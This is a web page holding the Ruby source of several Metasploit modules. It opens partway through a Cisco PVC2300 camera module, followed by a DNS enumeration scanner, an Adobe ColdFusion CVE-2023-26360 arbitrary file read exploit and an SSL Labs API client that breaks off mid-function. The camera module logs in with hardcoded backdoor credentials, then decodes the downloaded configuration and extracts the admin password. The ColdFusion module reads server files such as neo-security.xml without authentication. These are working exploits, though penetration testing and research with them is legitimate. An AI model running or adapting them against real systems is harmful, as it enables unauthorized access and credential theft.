/> This module was successfully tested against several Cisco PVC2300 cameras.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Craig Heffner', # vulnerability discovery and PoC<br /> 'Erik Wynter', # @wyntererik - Metasploit<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source<br /> [ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)<br /> [ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation<br /> ],<br /> 'DisclosureDate' => '2013-07-12',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> }<br /> )<br /> )<br /> end<br /><br /> def custom_base64_alphabet<br /> 'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'<br /> end<br /><br /> def default_base64_alphabet<br /> 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'<br /> end<br /><br /> def request_session_id<br /> vprint_status('Attempting to obtain a session ID')<br /> # the creds used here are basically a backdoor<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),<br /> 'vars_get' => {<br /> 'action' => 'login',<br /> 'user' => 'L1_admin',<br /> 'password' => 'L1_51'<br /> }<br /> })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')<br /> end<br /><br /> unless res.code == 200<br /> fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")<br /> end<br /><br /> if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?<br /> session_id = res.headers['sessionID']<br /> print_status("The target may be vulnerable. Obtained sessionID #{session_id}")<br /> return session_id<br /> end<br /><br /> # try to check the status message in the response body<br /> # the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly<br /> status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip<br /> if status.blank?<br /> fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')<br /> end<br /><br /> if status == 'try it later'<br /> fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")<br /> else<br /> fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")<br /> end<br /> end<br /><br /> def download_config_file(session_id)<br /> vprint_status('Attempting to download the configuration file')<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),<br /> 'headers' => {<br /> 'sessionID' => session_id<br /> },<br /> 'vars_get' => {<br /> 'action' => 'downloadConfigurationFile'<br /> }<br /> })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')<br /> end<br /><br /> unless res.code == 200 && !res.body.empty?<br /> fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')<br /> end<br /><br /> # if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business<br /> res.body<br /> end<br /><br /> def decode_config_file(config_file_encoded)<br /> # if we've made it all the way here, this shouldn't break, but better safe than sorry<br /> begin<br /> config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)<br /> config_file_decoded = Base64.decode64(config_file_base64)<br /> rescue StandardError => e<br /> print_error('Encountered the following error when attempting to decode the configuration file:')<br /> print_error(e)<br /> fail_with(Failure::Unknown, 'Failed to decode the configuration file')<br /> end<br /><br /> # let's just save the full config at this point<br /> path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)<br /> print_good('Successfully downloaded the configuration file')<br /> print_status("Saving the full configuration file to #{path}")<br /><br /> # let's see if we can grab the device name from the config file<br /> if config_file_decoded =~ /comment=.*? Video Camera/<br /> device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip<br /> unless device_name.blank?<br /> print_status("Obtained device name #{device_name}")<br /> end<br /> end<br /><br /> # try to grab the admin username and password from the config file<br /> admin_name = nil<br /> admin_password = nil<br /> if config_file_decoded.include?('admin_name')<br /> admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip<br /> end<br /><br /> if config_file_decoded.include?('admin_password')<br /> admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip<br /> end<br /><br /> if admin_name.blank? && admin_password.blank?<br /> print_error('Failed to obtain the admin credentials from the configuration file')<br /> else<br /> print_good('Obtained the following admin credentials for the web interface from the configuration file:')<br /> print_status("admin username: #{admin_name}")<br /> print_status("admin password: #{admin_password}")<br /> # save the creds to the db<br /> report_creds(admin_name, admin_password)<br /> end<br /> end<br /><br /> def report_creds(username, password)<br /> service_data = {<br /> address: datastore['RHOST'],<br /> port: datastore['RPORT'],<br /> service_name: 'http',<br /> protocol: 'tcp',<br /> workspace_id: myworkspace_id<br /> }<br /><br /> credential_data = {<br /> module_fullname: fullname,<br /> origin_type: :service,<br /> private_data: password,<br /> private_type: :password,<br /> username: username<br /> }.merge(service_data)<br /><br /> credential_core = create_credential(credential_data)<br /><br /> login_data = {<br /> core: credential_core,<br /> status: Metasploit::Model::Login::Status::UNTRIED<br /> }.merge(service_data)<br /><br /> create_credential_login(login_data)<br /> end<br /><br /> def check<br /> res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))<br /><br /> unless res1<br /> return Exploit::CheckCode::Unknown('Target is unreachable.')<br /> end<br /><br /> # string togetether a few checks to make it more likely we're dealing with a Cisco camera<br /> unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'<br /> return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')<br /> end<br /><br /> res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))<br /> unless res2<br /> return Exploit::CheckCode::Unknown('Target is unreachable.')<br /> end<br /><br /> unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}<br /> return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')<br /> end<br /><br /> vprint_status('Target seems to be a Cisco camera')<br /> Exploit::CheckCode::Appears<br /> end<br /><br /> def run<br /> session_id = request_session_id<br /> config_file = download_config_file(session_id)<br /> decode_config_file(config_file)<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::DNS::Enumeration<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'DNS Record Scanner and Enumerator',<br /> 'Description' => %q(<br /> This module can be used to gather information about a domain from a<br /> given DNS server by performing various DNS queries such as zone<br /> transfers, reverse lookups, SRV record brute forcing, and other techniques.<br /> ),<br /> 'Author' => [<br /> 'Carlos Perez <carlos_perez[at]darkoperator.com>',<br /> 'Nixawk'<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '1999-0532'],<br /> ['OSVDB', '492']<br /> ]))<br /><br /> register_options(<br /> [<br /> OptString.new('DOMAIN', [true, 'The target domain']),<br /> OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]),<br /> OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),<br /> OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),<br /> OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]),<br /> OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),<br /> OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),<br /> OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),<br /> OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]),<br /> OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]),<br /> OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),<br /> OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]),<br /> OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]),<br /> OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),<br /> OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]),<br /> OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')])<br /> ])<br /><br /> register_advanced_options(<br /> [<br /> OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]),<br /> OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]),<br /> OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]),<br /> OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false])<br /> ])<br /> deregister_options('DnsClientUdpTimeout', 'DnsClientRetry', 'DnsClientRetryInterval', 'DnsClientTcpDns')<br /> end<br /><br /> def run<br /> datastore['DnsClientUdpTimeout'] = datastore['TIMEOUT']<br /> datastore['DnsClientRetry'] = datastore['RETRY']<br /> datastore['DnsClientRetryInterval'] = datastore['RETRY_INTERVAL']<br /> datastore['DnsClientTcpDns'] = datastore['TCP_DNS']<br /><br /> begin<br /> setup_resolver<br /> rescue RuntimeError => e<br /> fail_with(Failure::BadConfig, "Resolver setup failed - exception: #{e}")<br /> end<br /><br /> domain = datastore['DOMAIN']<br /> is_wildcard = dns_wildcard_enabled?(domain)<br /><br /> # All exceptions should be being handled by the library<br /> # but catching here as well, just in case.<br /> begin<br /> dns_axfr(domain) if datastore['ENUM_AXFR']<br /> rescue => e<br /> print_error("AXFR failed: #{e}")<br /> end<br /> dns_get_a(domain) if datastore['ENUM_A']<br /> dns_get_cname(domain) if datastore['ENUM_CNAME']<br /> dns_get_ns(domain) if datastore['ENUM_NS']<br /> dns_get_mx(domain) if datastore['ENUM_MX']<br /> dns_get_soa(domain) if datastore['ENUM_SOA']<br /> dns_get_txt(domain) if datastore['ENUM_TXT']<br /> dns_get_tld(domain) if datastore['ENUM_TLD']<br /> dns_get_srv(domain) if datastore['ENUM_SRV']<br /> threads = datastore['THREADS']<br /> dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL']<br /><br /> return unless datastore['ENUM_BRT']<br /> if is_wildcard<br /> dns_bruteforce(domain, datastore['WORDLIST'], threads) unless datastore['STOP_WLDCRD']<br /> else<br /> dns_bruteforce(domain, datastore['WORDLIST'], threads)<br /> end<br /> end<br /><br /> def save_note(target, type, records)<br /> data = { 'target' => target, 'records' => records }<br /> report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data)<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Adobe ColdFusion Unauthenticated Arbitrary File Read',<br /> 'Description' => %q{<br /> This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe<br /> ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read<br /> an arbitrary file from the server.<br /><br /> To run this module you must provide a valid ColdFusion Component (CFC) endpoint via the CFC_ENDPOINT option,<br /> and a valid remote method name from that endpoint via the CFC_METHOD option. By default an endpoint in the<br /> ColdFusion Administrator (CFIDE) is provided. If the CFIDE is not accessible you will need to choose a<br /> different CFC endpoint, method and parameters.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'sf', # MSF Module & Rapid7 Analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-26360'],<br /> ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']<br /> ],<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'Reliability' => []<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> Opt::RPORT(8500),<br /> Opt::RHOST('0.0.0.0'),<br /> OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),<br /> OptString.new('TARGETFILE', [true, 'The target file to read, relative to the wwwroot folder.', '../lib/neo-security.xml']),<br /> OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/CFIDE/wizards/common/utils.cfc']),<br /> OptString.new('CFC_METHOD', [true, 'The target ColdFusion Component (CFC) remote method name', 'wizardHash']),<br /> OptString.new('CFC_METHOD_PARAMETERS', [false, 'Additional target ColdFusion Component (CFC) remote method parameters to supply via a GET request (e.g. "param1=foo, param2=hello world")', 'inPassword=foo'])<br /> ]<br /> )<br /> end<br /><br /> def run<br /> unless datastore['CFC_ENDPOINT'].end_with? '.cfc'<br /> fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')<br /> end<br /><br /> if datastore['TARGETFILE'].empty? || datastore['TARGETFILE'].end_with?('.cfc', '.cfm')<br /> fail_with(Failure::BadConfig, 'The TARGETFILE must not point to a .cfc or .cfm file')<br /> end<br /><br /> # The relative path from wwwroot to the TARGETFILE.<br /> target_file = datastore['TARGETFILE']<br /><br /> # To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters<br /> # to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.<br /> if target_file.include? '\\'<br /> classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{target_file}"<br /> else<br /> classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{target_file}"<br /> end<br /><br /> json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"<br /><br /> vars_get = { 'method' => datastore['CFC_METHOD'], '_cfclient' => 'true', 'returnFormat' => 'wddx' }<br /><br /> # If the CFC_METHOD required parameters, extract them from CFC_METHOD_PARAMETERS and add to the vars_get Hash.<br /> unless datastore['CFC_METHOD_PARAMETERS'].blank?<br /> datastore['CFC_METHOD_PARAMETERS'].split(',').each do |pair|<br /> param_name, param_value = pair.split('=', 2)<br /> # remove the leading/trailing whitespace so user can pass something like "p1=foo, p2 = bar , p3 = hello world, p4"<br /> vars_get[param_name.strip] = param_value&.strip<br /> end<br /> end<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['CFC_ENDPOINT']),<br /> 'vars_get' => vars_get,<br /> 'vars_post' => { '_variables' => json_variables }<br /> )<br /><br /> file_data = nil<br /><br /> # The TARGETFILE contents will be emitted after the WDDX result of the remote CFC_METHOD. A _cfclient call<br /> # will always return a struct with a 'variables' key via ComponentFilter.invoke and by selecting a returnFormat of<br /> # wddx, we know to have a closing wddxPacket to search for. So we search for the TARGETFILE contents after<br /> # the closing wddxPacket tag in the response body.<br /> wddx_packet_tag = '</wddxPacket>'<br /><br /> if res && res.code == 200 && (res.body.include? wddx_packet_tag)<br /><br /> file_data = res.body[res.body.index(wddx_packet_tag) + wddx_packet_tag.length..]<br /><br /> # If the default CFC options were used, we know the output will end with the result of calling wizardHash. So we can<br /> # remove the result which is a SHA1 hash and two 32 byte random strings, comma separated and a trailing space.<br /> if datastore['CFC_ENDPOINT'] == '/CFIDE/wizards/common/utils.cfc' && datastore['CFC_METHOD'] == 'wizardHash'<br /> file_data = file_data[0..file_data.length - (40 + 32 + 32 + 2 + 1) - 1]<br /> end<br /> else<br /> # ColdFusion has a non-default option 'Enable Request Debugging Output', which if enabled may return a HTTP 500<br /> # or 404 error, while also including the arbitrary file read output. We detect this here and retrieve the file<br /> # output which is prepended to the error page.<br /> request_debugging_tag = '<!-- " ---></TD></TD></TD></TH></TH></TH>'<br /><br /> if res && (res.code == 404 || res.code == 500) && (res.body.include? request_debugging_tag)<br /> file_data = res.body[0, res.body.index(request_debugging_tag)]<br /> end<br /> end<br /><br /> if file_data.blank?<br /> fail_with(Failure::UnexpectedReply, 'Failed to read the file. Ensure both the CFC_ENDPOINT, CFC_METHOD and CFC_METHOD_PARAMETERS are set correctly and that the endpoint is accessible.')<br /> end<br /><br /> if datastore['STORE_LOOT'] == true<br /> print_status('Storing the file data to loot...')<br /><br /> store_loot(File.basename(target_file), 'text/plain', datastore['RHOST'], file_data, datastore['TARGETFILE'], 'File read from Adobe ColdFusion server')<br /> else<br /> print_status(file_data.to_s)<br /> end<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'active_support/inflector'<br />require 'json'<br />require 'active_support/core_ext/hash'<br /><br />class MetasploitModule < Msf::Auxiliary<br /> class InvocationError < StandardError; end<br /> class RequestRateTooHigh < StandardError; end<br /> class InternalError < StandardError; end<br /> class ServiceNotAvailable < StandardError; end<br /> class ServiceOverloaded < StandardError; end<br /><br /> class Api<br /> attr_reader :max_assessments, :current_assessments<br /><br /> def initialize<br /> @max_assessments = 0<br /> @current_assessments = 0<br /> end<br /><br /> def request(name, params = {})<br /> api_host = "api.ssllabs.com"<br /> api_port = "443"<br /> api_path = "/api/v2/"<br /> user_agent = "Msf_ssllabs_scan"<br /><br /> name = name.to_s.camelize(:lower)<br /> uri = api_path + name<br /> cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS')<br /> cli.connect<br /> req = cli.request_cgi({<br /> 'uri' => uri,<br /> 'agent' => user_agent,<br /> 'method' => 'GET',<br /> 'vars_get' => params<br /> })<br /> res = cli.send_recv(req)<br /> cli.close<br /><br /> if res && res.code.to_i == 200<br /> @max_assessments = res.headers['X-Max-Assessments']<br /> @current_assessments = res.headers['X-Current-Assessments']<br /> r = JSON.load(res.body)<br /> fail InvocationError, "API returned: #{r['errors']}" if r.key?('errors')<br /> return r<br /> end<br /><br /> case res.code.to_i<br /> when 400<br /> fail InvocationError<br /> when 429<br /> fail RequestRateTooHigh<br /> when 500<br /> fail InternalError<br /> when 503<br /> fail ServiceNotAvailable<br /> when 529<br /> fail ServiceOverloaded<br /> else<br /> fail StandardError, "HTTP error code #{r.code}", caller<br /> end<br /> end<br /><br /> def report_unused_attrs(type, unused_attrs)<br /> unused_attrs.each do | attr |<br /> # $stderr.puts "#{type} request returned unknown parameter #{attr}"<br /> end<br /> end<br /><br /> def info<br /> obj, unused_attrs = Info.load request(:info)<br /> report_unused_attrs('info', unused_attrs)<br /> obj<br /> end<br /><br /> def analyse(params = {})<br /> obj, unused_attrs = Host.load request(:analyze, params)<br /> report_unused_attrs('analyze', unused_attrs)<br /> obj<br /> end<br /><br /> def get_endpoint_data(params = {})<br /> obj, unused_attrs = Endpoint.load request(:get_endpoint_data, params)<br /> report_unused_attrs('get_endpoint_data', unused_attrs)<br /> obj<br /> end<br /><br /> def get_status_codes<br /> obj, unused_attrs = StatusCodes.load request(:get_status_codes)<br /> report_unused_attrs('get_status_codes', unused_attrs)<br /> obj<br /> end<br /> end<br /><br /> class ApiObject<br /><br /> class << self;<br /> attr_accessor :all_attributes<br /> attr_accessor :fields<br /> attr_accessor :lists<br /> attr_accessor :refs<br /> end<br /><br /> def self.inherited(base)<br /> base.all_attributes = []<br /> base.fields = []<br /> base.lists = {}<br /> base.refs = {}<br /> end<br /><br /> def self.to_api_name(name)<br /> name.to_s.gsub(/\?$/, '').camelize(:lower)<br /> end<br /><br /> def self.to_attr_name(name)<br /> name.to_s.gsub(/\?$/, '').underscore<br /> end<br /><br /> def self.field_methods(name)<br /> is_bool = name.to_s.end_with?('?')<br /> attr_name = to_attr_name(name)<br /> api_name = to_api_name(name)<br /> class_eval <<-EOF, __FILE__, __LINE__<br /> def #{attr_name}#{'?' if is_bool}<br /> @#{api_name}<br /> end<br /> def #{attr_name}=(value)<br /> @#{api_name} = value<br /> end<br /> EOF<br /> end<br /><br /> def self.has_fields(*names)<br /> names.each do |name|<br /> @all_attributes << to_api_name(name)<br /> @fields << to_api_name(name)<br /> field_methods(name)<br /> end<br /> end<br /><br /> def self.has_objects_list(name, klass)<br /> @all_attributes << to_api_name(name)<br /> @lists[to_api_name(name)] = klass<br /> field_methods(name)<br /> end<br /><br /> def self.has_object_ref(name, klass)<br /> @all_attributes << to_api_name(name)<br /> @refs[to_api_name(name)] = klass<br /> field_methods(name)<br /> end<br /><br /> def self.load(attributes = {})<br /> obj = self.new<br /> unused_attrs = []<br /> attributes.each do |name, value|<br /> if @fields.include?(name)<br /> obj.instance_variable_set("@#{name}", value)<br /> elsif @lists.key?(name)<br /> unless value.nil?<br /> var = value.map do |v|<br /> val, ua = @lists[name].load(v)<br /> unused_attrs.concat ua<br /> val<br /> end<br /> obj.instance_variable_set("@#{name}", var)<br /> end<br /> elsif @refs.key?(name)<br /> unless value.nil?<br /> val, ua = @refs[name].load(value)<br /> unused_attrs.concat ua<br /> obj.instance_variable_set("@#{name}", val)<br /> end<br /> else<br /> unused_attrs << name<br /> end<br /> end<br /> return obj, unused_attrs<br /> end<br /><br /> def to_json(opts = {})<br /> obj = {}<br /> self.class.all_attributes.each do |api_name|<br /> v = instance_variable_get("@#{api_name}")<br /> obj[api_name] = v<br /> end<br /> obj.to_json<br /> end<br /> end<br /><br /> class Cert < ApiObject<br /> has_fields :subject,<br /> :commonNames,<br /> :altNames,<br /> :notBefore,<br /> :notAfter,<br /> :issuerSubject,<br /> :sigAlg,<br /> :issuerLabel,<br /> :revocationInfo,<br /> :crlURIs,<br /> :ocspURIs,<br /> :revocationStatus,<br /> :crlRevocationStatus,<br /> :ocspRevocationStatus,<br /> :sgc?,<br /> :validationType,<br /> :issues,<br /> :sct?,<br /> :mustStaple,<br /> :sha1Hash,<br /> :pinSha256<br /><br /> def valid?<br /> issues == 0<br /> end<br /><br /> def invalid?<br /> !valid?<br /> end<br /> end<br /><br /> class ChainCert < ApiObject<br /> has_fields :subject,<br /> :label,<br /> :notBefore,<br /> :notAfter,<br /> :issuerSubject,<br /> :issuerLabel,<br /> :sigAlg,<br /> :issues,<br /> :keyAlg,<br /> :keySize,<br /> :keyStrength,<br /> :revocationStatus,<br /> :crlRevocationStatus,<br /> :ocspRevocationStatus,<br /> :raw,<br /> :sha1Hash,<br /> :pinSha256<br /><br /> def valid?<br /> issues == 0<br /> end<br /><br /> def invalid?<br /> !valid?<br /> end<br /> end<br /><br /> class Chain < ApiObject<br /> has_objects_list :certs, ChainCert<br /> has_fields :issues<br /><br /> def valid?<br /> issues == 0<br /> end<br /><br /> def invalid?<br /> !valid?<br /> end<br /> end<br /><br /> class Key < ApiObject<br /> has_fields :size,<br /> :strength,<br /> :alg,<br /> :debianFlaw?,<br /> :q<br /><br /> def insecure?<br /> debian_flaw? || q == 0<br /> end<br /><br /> def secure?<br /> !insecure?<br /> end<br /> end<br /><br /> class Protocol < ApiObject<br /> has_fields :id,<br /> :name,<br /> :version,<br /> :v2SuitesDisabled?,<br /> :q<br /><br /> def insecure?<br /> q == 0<br /> end<br /><br /> def secure?<br /> !insecure?<br /> end<br /><br /> end<br /><br /> class Info < ApiObject<br /> has_fields :engineVersion,<br /> :criteriaVersion,<br /> :clientMaxAssessments,<br /> :maxAssessments,<br /> :currentAssessments,<br /> :messages,<br /> :newAssessmentCoolOff<br /> end<br /><br /> class SimClient < ApiObject<br /> has_fields :id,<br /> :name,<br /> :platform,<br /> :version,<br /> :isReference?<br /> end<br /><br /> class Simulation < ApiObject<br /> has_object_ref :client, SimClient<br /> has_fields :errorCode,<br /> :attempts,<br /> :protocolId,<br /> :suiteId,<br /> :kxInfo<br /><br /> def success?<br /> error_code == 0<br /> end<br /><br /> def error?<br /> !success?<br /> end<br /> end<br /><br /> class SimDetails < ApiObject<br /> has_objects_list :results, Simulation<br /> end<br /><br /> class StatusCodes < ApiObject<br /> has_fields :statusDetails<br /><br /> def [](name)<br /> status_details[name]<br /> end<br /> end<br /><br /> class Suite < ApiObject<br /> has_fields :id,<br /> :name,<br /> :cipherStrength,<br /> :dhStrength,<br /> :dhP,<br /> :dhG,<br /> :dhYs,<br /> :ecdhBits,<br /> :ecdhStrength,<br /> :q<br /><br /> def insecure?<br /> q == 0<br /> end<br /><br /> def secure?<br /> !insecure?<br /> end<br /> end<br /><br /> class Suites < ApiObject<br /> has_objects_list :list, Suite<br /> has_fields :preference?<br /> end<br /><br /> class EndpointDetails < ApiObject<br /> has_fields :hostStartTime<br /> has_object_ref :key, Key<br /> has_object_ref :cert, Cert<br /> has_object_ref :chain, Chain<br /> has_objects_list :protocols, Protocol<br /> has_object_ref :suites, Suites<br /> has_fields :serverSignature,<br /> :prefixDelegation?,<br /> :nonPrefixDelegation?,<br /> :vulnBeast?,<br /> :renegSupport,<br /> :stsResponseHeader,<br /> :stsMaxAge,<br /> :stsSubdomains?,<br /> :pkpResponseHeader,<br /> :sessionResumption,<br /> :compressionMethods,<br /> :supportsNpn?,<br /> :npnProtocols,<br /> :sessionTickets,<br /> :ocspStapling?,<br /> :staplingRevocationStatus,<br /> :staplingRevocationErrorMessage,<br /> :sniRequired?,<br /> :httpStatusCode,<br /> :httpForwarding,<br /> :supportsRc4?,<br /> :forwardSecrecy,<br /> :rc4WithModern?<br /> has_object_ref :sims, SimDetails<br /> has_fields :heartbleed?,<br /> :heartbeat?,<br /> :openSslCcs,<br /> :poodle?,<br /> :poodleTls,<br /> :fallbackScsv?,<br /> :freak?,<br /> :hasSct,<br /> :stsStatus,<br /> :stsPreload,<br /> :supportsAlpn,<br /> :rc4Only,<br /> :protocolIntolerance,<br /> :miscIntolerance,<br /> :openSSLLuckyMinus20,<br /> :logjam,<br /> :chaCha20Preference,<br /> :hstsPolicy,<br /> :hstsPreloads,<br /> :hpkpPolicy,<br /> :hpkpRoPolicy,<br /> :drownHosts,<br /> :drownErrors,<br /> :drownVulnerable<br /> end<br /><br /> class Endpoint < ApiObject<br /> has_fields :ipAddress,<br /> :serverName,<br /> :statusMessage,<br /> :statusDetails,<br /> :statusDetailsMessage,<br /> :grade,<br /> :gradeTrustIgnored,<br /> :hasWarnings?,<br /> :isExceptional?,<br /> :progress,<br /> :duration,<br /> :eta,<br /> :delegation<br /> has_object_ref :details, EndpointDetails<br /> end<br /><br /> class Host < ApiObject<br /> has_fields :host,<br /> :port,<br /> :protocol,<br /> :isPublic?,<br /> :status,<br /> :statusMessage,<br /> :startTime,<br /> :testTime,<br /> :engineVersion,<br /> :criteriaVersion,<br /> :cacheExpiryTime<br /> has_objects_list :endpoints, Endpoint<br /> has_fields :certHostnames<br /> end<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'SSL Labs API Client',<br /> 'Description' => %q{<br /> This module is a simple client for the SSL Labs APIs, designed for<br /> SSL/TLS assessment during a penetration test.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'Denis Kolegov <dnkolegov[at]gmail.com>',<br /> 'Francois Chagnon' # ssllab.rb author (https://github.com/Shopify/ssllabs.rb)<br /> ],<br /> 'DefaultOptions' =><br /> {<br /> 'RPORT' => 443,<br /> 'SSL' => true,<br /> }<br /> ))<br /> register_options(<br /> [<br /> OptString.new('HOSTNAME', [true, 'The target hostname']),<br /> OptInt.new('DELAY', [true, 'The delay in seconds between API requests', 5]),<br /> OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', true]),<br /> OptBool.new('GRADE', [true, 'Output only the hostname: grade', false]),<br /> OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', true])<br /> ])<br /> end<br /><br /> def report_good(line)<br /> print_good line<br /> end<br /><br /> def report_warning(line)<br /> print_warning line<br /> end<br /><br /> def report_bad(line)<br /> print_warning line<br /> end<br /><br /> def report_status(line)<br /> print_status line<br /> end<br /><br /> def output_endpoint_data(r)<br /> ssl_protocols = [<br /> { id: 771, name: "TLS", version: "1.2", secure: true, active: false },<br /> { id: 770, name: "TLS", version: "1.1", secure: true, active: false },<br /> { id: 769, name: "TLS", version: "1.0", secure: true, active: false },<br /> { id: 768, name: "SSL", version: "3.0", secure: false, active: false },<br /> { id: 2, name: "SSL", version: "2.0", secure: false, active: false }<br /> ]<br /><br /> report_status "-----------------------------------------------------------------"<br /> report_status "Report for #{r.server_name} (#{r.ip_address})"<br /> report_status "-----------------------------------------------------------------"<br /><br /> case r.grade.to_s<br /> when "A+", "A", "A-"<br /> report_good "Overall rating: #{r.grade}"<br /> when "B"<br /> report_warning "Overall rating: #{r.grade}"<br /> when "C", "D", "E", "F"<br /> report_bad "Overall rating: #{r.grade}"<br /> when "M"<br /> report_bad "Overall rating: #{r.grade} - Certificate name mismatch"<br /> when "T"<br /> report_bad "Overall rating: #{r.grade} - Server's certificate is not trusted"<br /> end<br /><br /> report_warning "Grade is #{r.grade_trust_ignored}, if trust issues are ignored)" if r.grade.to_s != r.grade_trust_ignored.to_s<br /><br /> # Supported protocols<br /> r.details.protocols.each do |i|<br /> p = ssl_protocols.detect { |x| x[:id] == i.id }<br /> 